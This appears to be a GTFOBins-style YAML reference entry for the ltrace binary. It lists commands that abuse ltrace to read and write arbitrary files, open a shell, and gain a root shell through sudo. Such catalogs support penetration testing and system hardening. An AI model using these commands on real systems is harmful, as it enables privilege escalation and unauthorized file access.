--- functions: file-read: - description: The file is parsed as a configuration file and its content is shown as error messages, thus this is not suitable to exfiltrate binary files. code: | LFILE=file_to_read ltrace -F $LFILE /dev/null file-write: - description: The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of `ltrace -F DATA`. code: | LFILE=file_to_write ltrace -s 999 -o $LFILE ltrace -F DATA shell: - code: ltrace -b -L /bin/sh sudo: - code: sudo ltrace -b -L /bin/sh ---